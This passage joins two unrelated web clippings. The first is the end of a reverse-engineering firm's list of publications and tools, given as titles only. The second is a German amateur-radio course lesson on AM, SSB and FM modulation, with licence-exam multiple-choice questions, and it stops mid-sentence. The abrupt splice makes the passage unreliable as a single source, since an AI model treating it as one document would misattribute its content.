Synthesis in Reverse Engineering" \(the NoSuchCon 2014 keynote speech\), and
"The Case for Semantics-Based Methods in Reverse Engineering" \(the RECON 2012
Keynote Speech with accompanying video\). See also: Program Analysis Training.

  * Synesthesia: Modern Shellcode Synthesis with source code
  * SMT Solvers for Software Security
  * Automated Key Generator Generation
  * Identifying Bugs in Obfuscators
  * Control Flow Deobfuscation via Abstract Interpretation
  * Recovery of Binary-Search Switch Tables \(Entries \#0, \#1\)
  * Program Analysis Reading List

## Deobfuscation

  * Control Flow Deobfuscation via Abstract Interpretation
  * Unpacking Virtualization Obfuscators
  * VMProtect, parts \#0 \#1 \#2 \#3
  * Article on HyperUnpackMe2
  * ReWolf's X86 Virtualizer
  * T2 2006 Virtual Machine Analysis
  * Detours into Arcana
  * Transparent Deobfuscation with IDA Processor Module Extensions

## The Art of Disassembly

Thorough reverse engineering workproducts, demonstrating how reverse
engineering ought to be done. See also: Reverse Engineering Training.

  * Bagle.W
  * CommWarrior.B
  * ProcDump 1.62
  * PatchDiff2
  * T2 2006 Virtual Machine Analysis
  * HyperUnpackMe2

## Tool Development

We have developed a program analysis framework, Pandemic, against which
numerous tools have been developed \(all of the entries under the Program
Analysis heading above\). Rolf Rolles was, for a time, the lead and sole
developer on Zynamics \(née SABRE Security\) BinDiff and VxClass.
Additionally, we have published several small, helpful scripts, tools, and
publications on reverse engineering tool development:

  * Synesthesia shellcode generator source code
  * Control Flow Deobfuscation via Abstract Interpretation
  * Recovery of Binary-Search Switch Tables \(Entries \#0, \#1\)
  * Shellcode Analysis
  * Industrial-Grade Binary-Only Profiling and Coverage
  * Compare, Port, Navigate \(BlackHat Europe 2005 presentation\)
  * Graph-Based Comparisons of Executable Objects \(SSTIC 2005 paper\)
  * Deobfuscator for ReWolf's X86 Virtualizer
  * C-Subset Compiler
  * IDAOCaml
  * Details on IDA processor module construction in the article on HyperUnpackMe2
  * IDA processor module extension example source code

## Academic Papers and Book Contributions

  * Graph-Based Comparisons of Executable Objects \(SSTIC 2005\)
  * Unpacking Virtualization Obfuscators \(WOOT 2009\)
  * SMT Solvers for Software Security \(WOOT 2012\)
  * Take Two Software Updates and See Me in the Morning: The Case for Software Security Evaluations of Medical Devices \(USENIX HealthSec 2011\)
  * Contributor to Practical Reverse Engineering, Chapter 5, Obfuscation \(credited in the preface\)

## General Reverse Engineering Publications

  * Compiler Optimizations for Reverse Engineers
  * IDA's .IDS Files
  * Byte Search in Structure Recovery
  * Compiler Optimizations Regarding Structures
  * Code Generation Quirk Involving Array Indexing
  * Detours into Arcana

## Malware Analysis

  * Stuxnet \(research done in collaboration with Bruce Dang of Microsoft\)
  * Bagle.W
  * CommWarrior.B
  * Shellcode Analysis

## Community Participation

  * Rolf Rolles is the creator and moderator of the Reverse Engineering Reddit
  * We participate the Reverse Engineering StackExchange \(examples: \#1 \#2 \#3\)
  * We formerly contributed to OpenRCE during its heyday

  

# DJ4UF Online zur Amateurfunkprüfung © 2008 by E. Moltrecht, DJ4UF

**Created:**| _6/28/2012 8:23:09 AM_  
---|---  
**Updated:**| _6/28/2012 8:23:09 AM_  
**Author:**| __  
**Tags:**| _ham-radio_  
  

<img src='img/Temp2_1850.jpg' width='47' height='46' alt='Zurück zur
Übersicht' />|

### Online zur Amateurfunkprüfung  
---|---  
<img src='img/Temp2_1848.jpg' width='756' height='1' /> | 
#  LEKTION 14: Modulation  
und Demodulation

|  **Lektion ** COPYRIGHT 2008 by  
Eckart Moltrecht, DJ4UF  
---|---  
<img src='img/Temp2_1859.jpg' width='16' height='16' />** Urlaub mit Hund oder
Funk im Ferienhaus am See \(Unser Ferienhaus in MV ist zu vermieten\)**

**Hinweis** : Dieser Onlinelehrgang basiert auf den Prüfungsfragen aus dem
Fragenkatalog der BNetzA für die Klasse E nach den Regeln der "Novice Licence"
von Oktober 2006. Der Fragenkatalog ist hier herunterladbar.

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Übersicht  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

  * Prinzip der Nachrichtenübertragung
  * Sendearten
  * Modulationsarten
  * Amplitudenmodulation
  * Bandbreite bei AM
  * Trägerunterdrückung
  * Einseitenbandmodulation SSB
  * Frequenzmodulation
  * Bandbreite bei FM
  * Vorteil/Nachteil von FM

Mit möglichst wenig Mathematik soll dieses wichtige Thema für die Vorbereitung
auf die Amateurfunkprüfung für das Amateurfunkzeugnis Klasse E behandelt
werden.

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' /><img src='img/Temp2_1848.jpg' width='750' height='2' />  
Prinzip der Nachrichtenübertragung  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

_Mit Hilfe der Funktechnik sollen Informationen drahtlos übertragen werden.
Hierzu wird mittels Modulation die Information auf einen Hochfrequenzträger
übertragen. Die Modulation ist also das Wichtigste bei der drahtlosen
Nachrichtentechnik._

In der Nachrichtenübertragungstechnik unterscheidet man drahtgebundene
\(Fernmeldetechnik, Kabelfernsehen, Internet\) und drahtlose
Nachrichtenübertragungstechnik \(Rundfunk- und Fernsehtechnik, Funktechnik\).
Im Rahmen des Amateurfunklehrgangs werden wir uns nur mit der drahtlosen
Nachrichtenübertragung befassen.

Bereits im 19. Jahrhundert behauptete der englische Physiker Maxwell \(1831 -
1879\) aufgrund mathematischer Ableitungen, dass sehr schnelle elektrische
Schwingungen sich als elektromagnetische Wellen frei durch den Raum
fortpflanzen können. Auch Licht sei nichts anderes als solche
elektromagnetischen Schwingungen oder Wellen. Alle diese Wellen bewegten sich
mit der Geschwindigkeit des Lichts fort, nämlich mit fast 300 000 km in der
Sekunde. Dem deutschen Physiker Heinrich Hertz \(1857-1894\) gelang es
1885-1889 durch Versuche, solche elektrischen Wellen zu erzeugen, sie wieder
aufzufangen und ihre Wesensgleichheit mit dem Licht nachzuweisen.

<img src='img/Temp2_1861.jpg' width='709' height='247' alt='Zeichnung: Eckart
Moltrecht, DJ4UF' />

#### Bild 14-1: Schema der drahtlosen Nachrichtenübertragung \(Funkstrecke\)

Andere Erfinder benutzten diese Hertzschen Wellen sehr bald zur Telegrafie
ohne Draht, zuerst nur von Zimmer zu Zimmer. Dem italienischen Forscher G.
Marconi \(1874-1937\) gelang es als erstem, eine drahtlose Verbindung auf
größere Entfernungen zu erzielen. Damit begann eine allmählich immer
stürmischer verlaufende Entwicklung.

Die ersten Telegrafiesender erzeugten die elektromagnetischen Schwingungen
nach dem Vorbild von Hertz durchweg mit einer Funkenstrecke. Dieses Prinzip
verließ man zwar schon bald, aber von damals her heißt diese drahtlose
Nachrichtenübertragung noch immer Funktechnik. Die Verbindung zwischen der
Nachrichtenquelle \(zum Beispiel Sprache des Menschen\) und der
Nachrichtensenke \(zum Beispiel menschliches Ohr\) besteht aus der
Funkstrecke. Die Funkstrecke soll die Informationen mithilfe
elektromagnetischer Wellen übertragen. Deshalb wird hinter die
Nachrichtenquelle entsprechend Bild 14-1 ein Sender geschaltet.

> <img src='img/Temp2_1869.jpg' width='520' height='339' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-2: Prinzip des Senders
Dieser hat nicht nur die Aufgabe, die Schallschwingungen in elektrische
Schwingungen umzuwandeln \(Mikrofon\), sondern vielmehr muss er zusätzlich das
Frequenzband dieser NF-Signale von 300 bis 3000 Hertz in das Hochfrequenzband
umsetzen. Dies geschieht durch die so genannte Modulation.

Der Empfänger hat die Aufgabe, die hochfrequenten elektrischen Schwingungen
zunächst wieder in das ursprüngliche niederfrequente Frequenzband
zurückzuführen \(Demodulation\) und dann noch in Schallwellen umzuwandeln
\(Lautsprecher\).

Modulation bedeutet Beeinflussung. In der Funktechnik versteht man unter
Modulation die Beeinflussung einer hochfrequenten, elektrischen Schwingung
\(Trägerschwingung\) durch die zu übertragenden Signale \(Sprache,
Morsezeichen, Fernsehbildsignale und so weiter\).

Das modulierte hochfrequente Signal erzeugt man im Sender. Die Modulation soll
auf dem Übertragungsweg erhalten bleiben. Im Empfänger wird durch Demodulation
die Signalschwingung wieder von der Trägerschwingung getrennt.

Prüfungsfrage:

> **TD501** Durch Modulation  
> ---  
> | werden Informationen auf einen oder mehrere Träger übertragen.  
> | werden einem oder mehreren Trägern Informationen entnommen.  
> | werden Sprach- und CW-Signale kombiniert.  
> | werden dem Signal NF-Komponenten entnommen.  
> <img src='img/Temp2_1857.jpg' width='575' height='229' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-3: Das Prinzip des Empfängers
<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Sendearten  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

Die historisch älteste Übertragungsart ist die Morsetelegrafie, bei der mit
Hilfe eines von Samuel Morse \(1791-1872\) festgelegten Kodes Buchstaben,
Ziffern und Zeichen übertragen werden. Die Morsetelegrafie hat in den letzten
Jahren international an Bedeutung verloren. Jedoch ist dies eine sehr sichere
Übertragungsart. Sie wird im Amateurfunk sehr gern für internationale
Verbindungen verwendet.

Sprechfunk ist die am häufigsten angewendete Sendeart im Amateurfunk. Da das
Tonsignal analoge Informationen enthält, ist der Aufwand auf der Senderseite
\(Modulation\) viel höher als bei der digitalen Informationsübertragung in
Morsetelegrafie. Außerdem ist die benötigte Bandbreite erheblich größer und
dadurch der Signal-Störabstand geringer. Bei schlechten
Ausbreitungsbedingungen ist daher die Reich-weite in Telegrafie größer.

Weitere Sendearten sind Fernschreibtelegrafie \(RTTY\), Faksimile \(FAX\),
Fernsehen \(ATV\) und Datenübertragung. Bei der Fernschreibtelegrafie \(radio
teletype\) werden ebenfalls wie in Morsetelegrafie \(CW\) mit Hilfe
internationaler Codes Buchstaben, Ziffern oder Zeichen übertragen, die auf
einem Sichtgerät \(z.B. Fernschreiber, Drucker, Bildschirm\) sichtbar gemacht
werden.

Faksimile ist eine Bildübertragung, bei der Bildvorlagen zeilenweise
abgetastet und nach "schwarz oder weiß" \(digital\), in Graustufen oder in
Farbe \(analog oder digital\) übertragen werden. Ähnlich funktioniert die
Fernsehübertragung \(ATV = amateur radio television\), bei der mit Hilfe einer
Optik Bilder aufgefangen und in Helligkeit und Farbe entsprechende Signale
\(Videosignal\) umgewandelt und dann analog oder digital übertragen werden.

<img src='img/Temp2_1842.jpg' width='576' height='245' />

<img src='img/Temp2_1847.jpg' width='578' height='316' />

<img src='img/Temp2_1852.jpg' width='576' height='283' />

**Beispiele**  
**J3E** Sprechfunk \(E\) in Einseitenbandmodulation mit unterdrücktem Träger
\(J\), analog. Das ist die Modulationsart, die wir im Amateurfunk mit SSB
bezeichnen.  
**A1A** ist Morsetelegrafie \(CW\). Man tastet die Amplitude des Trägers
\(AM\).  
**F2B** ist Funkfernschreiben \(RTTY\) mit Frequenzumtastung.  
**F3E** ist Sprechfunk in Frequenzmodulation.  
**C3F** ist ATV Amateurfunkfernsehen \(Restseitenbandverfahren\)

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Modulationsarten  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

> <img src='img/Temp2_1862.jpg' width='575' height='274' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-4: Kenngrößen einer sinusförmigen Wechselspannung
Im Amateurfunk sind zwei grundsätzlich verschiedene Modulationsarten im
Einsatz, nämlich die _Amplitudenmodulation \(mit Trägerunterdrückung und einem
Seitenband, SSB\)_ beim Kurzwellenfunkverkehr sowie beim Weitverkehr in den
VHF-/UHF-Bändern. Demgegenüber ist die _Frequenzmodulation_ beim lokalen
Funkverkehr üblich.

Eine hochfrequente Trägerspannung im Amateurfunk muss sinusförmig sein. Zwei
Kennwerte einer sinusförmigen Wechselspannung sind Amplitude mit Spitzen- oder
Scheitelwert und Frequenz. Bild 14-4 lässt erkennen, dass die Amplitude die
senkrechte Auslenkung des Signals ist.

> <img src='img/Temp2_1843.jpg' width='622' height='467' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-5: a\) NF-Signal, b\) AM-Signal, c\) FM-Signal
Die Frequenz ist die Anzahl der Schwingungen pro Sekunde. Diese beiden Größen
- Amplitude und Frequenz - lassen sich nun mit Hilfe der Modulation
beeinflussen. So entstehen Amplitudenmodulation und Frequenzmodulation.

Bild 14-5 a stellt das vom Mikrofon kommende NF-Signal dar. Entsprechend
dieser Spannung ändert sich bei Amplitudenmodulation \(AM\) die Amplitude des
Trägersignals \(Bild 14-5 b\). Einer positiven NF-Spannung entspricht eine
große Amplitude der HF-Spannung und der negativen NF-Spannung entspricht eine
geringere Amplitude der HF. NF-Spannung Null entspricht dem Mittelwert.

Bei Frequenzmodulation FM \(Bild 14-5 c\) bleibt die Amplitude immer gleich,
nur die Anzahl der Schwingungen pro Zeiteinheit \(die Frequenz\) ändert sich.
Und zwar entspricht hier eine positive NF-Spannung einer hohen Frequenz, eine
negative NF-Spannung einer niedrigen Frequenz und keine NF-Spannung der
mittleren Frequenz, der Trägerfrequenz.

Bei analoger Signalübertragung folgt die modulierte Spannung genau der
Kurvenform des NF-Signals. Es gibt jeden Zwischenwert zwischen Null und dem
Maximalwert. Bei digitaler Signalübertragung gibt es nur zwei Werte, zum
Beispiel groß - klein, hoch - niedrig \(high - low\), ein - aus, 1 - 0 und so
weiter. Dementsprechend ist bei digitaler Informationsübertragung bei AM die
Amplitude groß oder klein \(eventuell null\) oder bei FM die Frequenz hoch
oder niedrig. Zwischenwerte gibt es nicht.

Prüfungsfrage:

> **TD502** Welche Aussage zur Frequenzmodulation ist richtig? Durch das
> Informationssignal  
> ---  
> | wird die Amplitude des Trägers beeinflusst. Die Frequenz bleibt konstant.  
> | werden die Frequenz und die Amplitude des Trägers beeinflusst.  
> | findet keinerlei Beeinflussung von Trägerfrequenz oder Trägeramplitude statt. Die Information steuert nur die Kapazität des Oszillators.  
> | wird die Frequenz des Trägers beeinflusst. Die Amplitude bleibt konstant.  
<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Amplitudenmodulation  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

> <img src='img/Temp2_1855.jpg' width='460' height='360' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-6: Lautstärke bei AM
_Amplitudenmodulation_ selbst wird im Amateurfunk nicht mehr verwendet, nur
noch im Rundfunk auf Langwelle, Mittelwelle und Kurzwelle. Um die im
Amateurfunk verwendete _Modulationsart SSB_ besser zu verstehen, soll zunächst
die Amplitudenmodulation erläutert werden. Das zu übertragende Tonsignal hat
die Kennzeichen: Lautstärke und Tonfrequenz. Die Lautstärke entspricht der
Spannung der Tonschwingung.

Ein leiser Ton ergibt eine geringe Änderung der Amplitude, ein lauter Ton eine
starke Amplitudenänderung \(Bild 14-7\). Die zu übertragende Tonhöhe wirkt
sich folgendermaßen aus. Bei schnellen Schwingungen eines hohen Tones wird die
Amplitude des Trägers häufiger verändert als bei einem tiefen Ton.

> <img src='img/Temp2_1851.jpg' width='595' height='399' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-7: Tonhöhe bei AM
<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Modulationsgrad  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

> <img src='img/Temp2_1856.jpg' width='466' height='303' />
> #### Bild 14-8: Modulationsgrad
Unter Modulationsgrad versteht man das Verhältnis der Amplitude der NF-
Schwingung zur Amplitude der unmodulierten Trägerschwingung, meist in Prozent
ausgedrückt. In der Formelsammlung der BNetzA lautet die Formel

Aus Bild 14-8 soll der Modulationsgrad in Prozent ermittelt werden. Zur Lösung
wurde in der Mitte eine Nulllinie eingezeichnet. Dann wurde eine Mittellinie
des oberen Teils der Modulationshüllkurve eingezeichnet. Hieraus kann man nun
sehr gut Ûmod und ÛT ablesen und den Modulationsgrad berechnen. Ich lese für
Ûmod eine Einheit, also 3 Volt ab und für ÛT zwei Einheiten, also 6 Volt. 3
geteilt durch 6 ist 0,5 oder 50%.

**Hinweis** : Sie brauchen eigentlich gar nicht erst in wirkliche Spannungen
umzurechnen, da sich die Einheiten beim Teilen herauskürzen. Sie könnten
einfach die abgelesenen Teileinheiten durcheinander teilen, also 1 geteilt
durch 2 = 0,5 oder 50%.

Prüfungsfrage:

> **TE103** Das folgende Oszillogramm zeigt ein AM-Signal.  <img
> src='img/Temp2_1864.jpg' width='286' height='228' /> Der Modulationsgrad
> beträgt hier zirka  
> ---  
> | 50 %.  
> | 33 %.  
> | 67 %.  
> | 75 %.  
**Berechnung** : Sie können die Werte einfach in Einheiten ablesen und dann
durcheinander teilen und brauchen nicht erst in wirkliche Spannungen
umzurechnen. Zeichnen Sie bitte zunächst, wie in Bild 14-8, die Mittellinie
ein.

Hier: Der Mittelwert der Trägerspannung hat 2 Kästchen. Der Spitzenwert der
Signalspannung hat 1 Kästchen. 1 : 2 = 0,5 oder 50%.

Prüfungsfrage:

> **TE104** Das folgende Oszillogramm zeigt ein AM-Signal. <img
> src='img/Temp2_1866.jpg' width='188' height='153' /> Der Modulationsgrad
> beträgt hier zirka  
> ---  
> | 45 %.  
> | 55 %.  
> | 33 %.  
> | 75 %.  
Hier: Diese Mittellinie ist von der Nulllinie 1,5 Einheiten hoch. Der
Scheitelwert der Modulationsspannung hat ungefähr 0,6 bis 0,7 Einheiten.

Durcheinander geteilt ergibt sich ein Modulationsgrad von 0,4 bis 0,47.

Prüfungsfrage:

> **TE105** Das folgende Oszillogramm zeigt ein typisches Zweiton-SSB-
> Testsignal. Bestimmen Sie den Modulationsgrad\! <img
> src='img/Temp2_1867.jpg' width='189' height='151' /> Der Modulationsgrad
> beträgt hier zirka  
> ---  
> | 100 %.  
> | 0 %.  
> | 50 %.   
> | Man kann keinen Modulationsgrad bestimmen, da es keinen Träger gibt.  
Kommentar: SSB arbeitet mit Trägerunterdrückung \(kein Träger\).

Wird der Modulationsgrad eines AM-Senders auf über 100% erhöht, entstehen
Verzerrungen auf der Empfangsseite. Außerdem erhöht sich die Bandbreite des
Senders übermäßig, was zu Störungen auf den Nachbarfrequenzen führt, die man
„Splatter“ nennt.  

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Frequenzspektrum  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

> <img src='img/Temp2_1860.jpg' width='582' height='340' />
> #### Bild 14-9: Ein Niederfrequenzspektrum
Um die Bandbreite des Hochfrequenzsignals darzustellen, müssen wir zunächst
klären, was Seitenfrequenzen sind und was ein Frequenzspektrum ist.

Ein typisches Niederfrequenzsignal, zum Beispiel ein gesprochener Vokal „a“,
könnte aus den Frequenzen 300, 1000, 1300, 1500, 2000, 2500, 2700 Hz mit
unterschiedlichen Amplituden bestehen. Bild 14-9 zeigt die in dem gesprochenen
Vokal enthaltenen Frequenzen. Man nennt dies ein Frequenzspektrum, hier das
Niederfrequenzspektrum.

Bei jeder Modulation entstehen am Ausgang außer den Originalfrequenzen 3700
kHz und der NF-Frequenzen auch die Summen und die Differenzen der Frequenzen,
die man miteinander moduliert. Wird beispielsweise die Trägerfrequenz 3700 kHz
mit dem Niederfrequenzfrequenzsignal aus dem Beispiel \(Bild 14-9\) moduliert,
so entstehen als Summen 3700,3 kHz, 3701 kHz, 3701,3 kHz, 3701,5 kHz, 3702
kHz, 3702,5 kHz und 3702,7 kHz. Außerdem als Differenzen die Frequenzen 3699,7
kHz, 3699 kHz, 3698,7 kHz, 3698,5 kHz, 3698 kHz, 3697,5 kHz und 3697,3 kHz.

Filtert man die Niederfrequenzen aus und zeichnet dann die übrig gebliebenen
Hochfrequenzen in ein Diagramm, erhält man das Frequenzspektrum eines AM-
Signals \(Bild 14-10\).

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Bandbreite bei AM  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

> <img src='img/Temp2_1868.jpg' width='652' height='353' />
> #### Bild 14-10: AM-Spektrum
Man nennt die Summenfrequenzen auch obere Seitenfrequenzen und die
Differenzfrequenzen untere Seitenfrequenzen. Fasst man die Frequenzen eines
Bereichs zusammen, nennt man die Summe auch oberes Seitenband \(upper side
band USB\) und die Differenzen unteres Seitenband \(lower side band LSB\).

Die Bandbreite des Hochfrequenzsignal ist der Unterschied von der höchsten bis
zur niedrigsten Frequenz eines Signals. In unserem Fall wäre es der
Unterschied von 3702,7 kHz und 3697,3 kHz, also 5,4 kHz.

Die Bandbreite kann man auch mit einer Formel beschreiben. Kennt man die
höchste auftretende Niederfrequenz fNF max, dann kann man als Formel für die
Bandbreite b eines AM-Signals schreiben

> bAM = 2 ∙ fNF max.
> Beispiel:
> Wie groß ist die Bandbreite eines AM-Signals, das mit folgenden Frequenzen
> moduliert ist: 300, 1000, 1300, 1500, 2000, 2500, 2700 Hz.  
> ---  
> Lösung:  
>  bAM = 2 ∙ fNF max. = 2 ∙ 2700 Hz = 5400 Hz
> oder 5,4 kHz.
Hierzu gibt es eine Prüfungsfrage erst in Klasse A.

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Leistungen bei AM  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

Nun sollen die Leistungen von Träger und Seitenfrequenzen eines 100%
modulierten AM-Signals berechnet werden, um die Leistungsersparnis bei SSB zu
begründen. Bei 100% Modulationsgrad sind Trägerspannung und
Modulationsspannung gleich. Wenn die Gesamtspannung 100 V beträgt, fallen 50 V
auf den Träger und zweimal 25 Volt gleich 50 Volt auf die beiden
Seitenfrequenzen. Nehmen wir an, diese Spannungen wurden an einem Widerstand
von 50 Ω gemessen.

> <img src='img/Temp2_1844.jpg' width='581' height='235' alt='Zeichnung:Eckart
> Moltrecht, DJ4UF' />
> #### Bild 14-11: A: Spannungen und B: Leistungen bei AM mit einem
> Modulationsgrad von 100%
**Aufgabe**  
Die im Bild 14-11 A angegebenen Spannungswerte sollen Effektivwerte sein.
Berechnen Sie die Leistung von Träger und den Seitenfrequenzen. Berechnen Sie
die Gesamtleistung.

Träger: I = 50 V / 50 Ω = 1 A, P = 50 V · 1 A = 50 W

Seiten: I = 25 V / 50 Ω = 0,5 A, P = 25 V · 0,5 A = 12,5 W

Gesamt: P = 50 W + 12,5 W + 12,5 W = _75 W_

Von den insgesamt 75 Watt entfallen nur 12,5 Watt auf das Seitenband. Das sind
nur 12,5 / 75 = 1/6 der Gesamtleistung. 5/6 der Leistung könnte eingespart
werden, wenn beim Senden der Träger und ein Seitenband unterdrückt werden.

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Trägerunterdrückung \(DSB\)  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

Tatsächlich ist es möglich, den Träger auf der Senderseite zu unterdrücken, um
viel Sendeleistung zu sparen und den fehlenden Träger auf der Empfängerseite
wieder hinzu zu setzen. Dies erfordert allerdings einen höheren Aufwand im
Empfänger.

„Wieso kann man den Träger unterdrücken, wenn man diesen doch extra erzeugt,
um ein Hochfrequenzsignal zu haben, welches von einer Antenne abgestrahlt
werden soll?“, werden Sie fragen.

Moduliert man beispielsweise einen Träger von 3700 kHz mit einer Frequenz von
1 kHz, so erhält man außer der Trägerfrequenz noch die Seitenfrequenzen 3699
kHz und 3701 kHz. Das bedeutet: Die Seitenfrequenzen liegen bereits im
Hochfrequenzbereich. Auch wenn man nun den Träger unterdrückt, kann eine
Frequenz von 3699 kHz \(unteres Seitenband LSB\) oder 3701 kHz \(oberes
Seitenband USB\) von einer Antenne abgestrahlt werden.

> #### <img src='img/Temp2_1871.jpg' width='603' height='267' />
> #### Bild 14-12: Typisches Spektrum eines DSB-Signals
Die durch Trägerunterdrückung entstandene Modulation nennt man
Doppelseitenband-Modulation DSB. Das DSB-Signal als Frequenzspektrum ist im
obigen Bild dargestellt. DSB hat folgenden Vorteil gegenüber AM: Wenn gerade
nicht gesprochen \(moduliert\) wird, ist kein Träger vorhanden, also auch
keine Leistung notwendig. Spricht man leise, benötigt man wenig Leistung. Man
spart also viel Senderleistung, aber die Bandbreite des Signals ist gleich
geblieben.

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Einseitenbandmodulation SSB \(J3E\)  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

Der Frequenzraum ist wertvoll. Deshalb ist es sehr wichtig, die Bandbreite der
Aussendung möglichst gering zu halten. Da in beiden Seitenbändern die gleiche
Information steckt, kann man das eine Seitenband auch noch unterdrücken. Diese
Modulationsart heißt dann _Einseitenbandmodulation_ _SSB_ \(single side
band\). Wenn man beispielsweise das untere Seitenband unterdrückt, erhält man
das in Bild 14-12 dargestellte Frequenzspektrum für das übrig bleibende
Seitenband \(USB\). Diese Modulation \(Bezeichnung J3E\) wird im Amateurfunk
angewendet. Zweiseitenbandmodulation ist im Amateurfunk nicht zugelassen.

> <img src='img/Temp2_1872.jpg' width='588' height='323' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> ####  Bild 14-13: Erzeugung von SSB nach der Filtermethode
Nach der Filtermethode wird SSB folgendermaßen erzeugt. Der Trägeroszillator
\(A\) in Bild 14-13 erzeugt die HF. Diese wird mit der NF \(B\) in einem
Ringmodulator moduliert. Es entsteht ein Zweiseitenbandsignal mit
Trägerunterdrückung \(DSB\). Dieses wird über das Filter \(D\) geschickt und
nur noch ein Seitenband durchgelassen.  
Es ist im Prinzip gleich, welches der beiden Seitenbänder verwendet wird. Aus
historischen Gründen hat sich im Amateurfunk herausgebildet, dass bei
Frequenzen unter 10 MHz das untere Seitenband LSB \(lower side band\) und bei
Frequenzen ab 10 MHz aufwärts das obere Seitenband USB \(upper side band\)
verwendet wird. Also auf 160 m, 80 m und 40 m verwendet man LSB und auf allen
anderen Bändern USB.

> ####  <img src='img/Temp2_1863.jpg' width='660' height='350' />
> ####  Bild 14-14: SSB-Modulation \(Beispiel: USB\)
Die Bandbreite bei SSB ergibt sich aus der Differenz der höchsten und der
niedrigsten vorkommenden Frequenz \(Bild 14-14\).

> <img src='img/Temp2_1846.jpg' width='237' height='37' />
Da fNF min relativ gering ist gegenüber fNF max, gilt

> <img src='img/Temp2_1849.jpg' width='143' height='37' />
Die Bandbreite eines SSB-Signals ist identisch mit der Bandbreite des NF-
Signals, also etwas geringer als die Hälfte der Bandbreite von AM.

Prüfungsfrage:

> **TE101** Wie unterscheidet sich SSB \(J3E\) von normaler AM \(A3E\) in
> Bezug auf die Bandbreite?  
> ---  
> | Die Sendeart J3E beansprucht etwas mehr als die halbe Bandbreite der Sendeart A3E.  
> | Die Sendeart J3E beansprucht etwa 1/4 Bandbreite der Sendeart A3E.  
> | Die unterschiedlichen Sendearten lassen keinen Vergleich zu, da sie grundverschieden erzeugt werden.  
> | Die Sendeart J3E beansprucht weniger als die halbe Bandbreite der Sendeart A3E.  
<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Demodulation von SSB  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

_Zur SSB-Demodulation gibt es keine Prüfungsfrage in Klasse E. Das Kapitel
wird deshalb erst im Aufbaulehrgang Klasse A behandelt._

> <img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
> Übersicht' />
<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Frequenzmodulation  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

> <img src='img/Temp2_1843.jpg' width='622' height='467' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-15: Vergleich AM - FM
Im VHF- und im UHF-Bereich des Amateurfunks werden für den Mobilbetrieb, für
den lokalen Funkverkehr sowie bei Packet-Radio die Frequenzmodulation \(FM
oder F3E\) angewendet.

Bei Frequenzmodulation ändert sich nicht die _Amplitude_ des Trägers in
Abhängig­keit des Modulationssignals, sondern es wird die ausgestrahlte
_Frequenz_ im Rhythmus der Niederfrequenz beeinflusst \(Bild 14-15c\).
Moduliert man beispielsweise mit 100 Hz, so schwankt die Trägerfrequenz
hundertmal pro Sekunde hin und her. Bei 1000 Hz Modulationsfrequenz ist die
Frequenzänderung entsprechend tausendmal in der Sekunde.

Außerdem ist die NF-Lautstärke nicht von der Signalstärke abhängig, was
besonders bei den schwankenden Feldstärken bei Mobilbetrieb von Vorteil ist.
In folgendem Bild \(Bild 14-16\) soll erläutert werden, wie der Zusammenhang
zwischen Niederfrequenz-Lautstärke \(NF\) und dem „Hub“ bei Frequenzmodulation
ist. Der Hub ist die Auslenkung \(Abweichung\) von der Träger­frequenz. Sie
wissen ja: Bei FM ändert sich die Frequenz in Abhängigkeit von der NF.

<img src='img/Temp2_1854.jpg' width='14' height='10' alt='Zurück zur
Übersicht' />

<img src='img/Temp2_1848.jpg' width='750' height='2' />  
Hub bei FM  
<img src='img/Temp2_1848.jpg' width='750' height='2' />

> <img src='img/Temp2_1858.jpg' width='519' height='446' alt='Zeichnung:
> Eckart Moltrecht, DJ4UF' />
> #### Bild 14-16: F3E: Der Hub ist von der NF-Lautstärke abhängig
Wird ein leiser Ton übertragen \(geringe NF-Amplitude\), ändert sich die
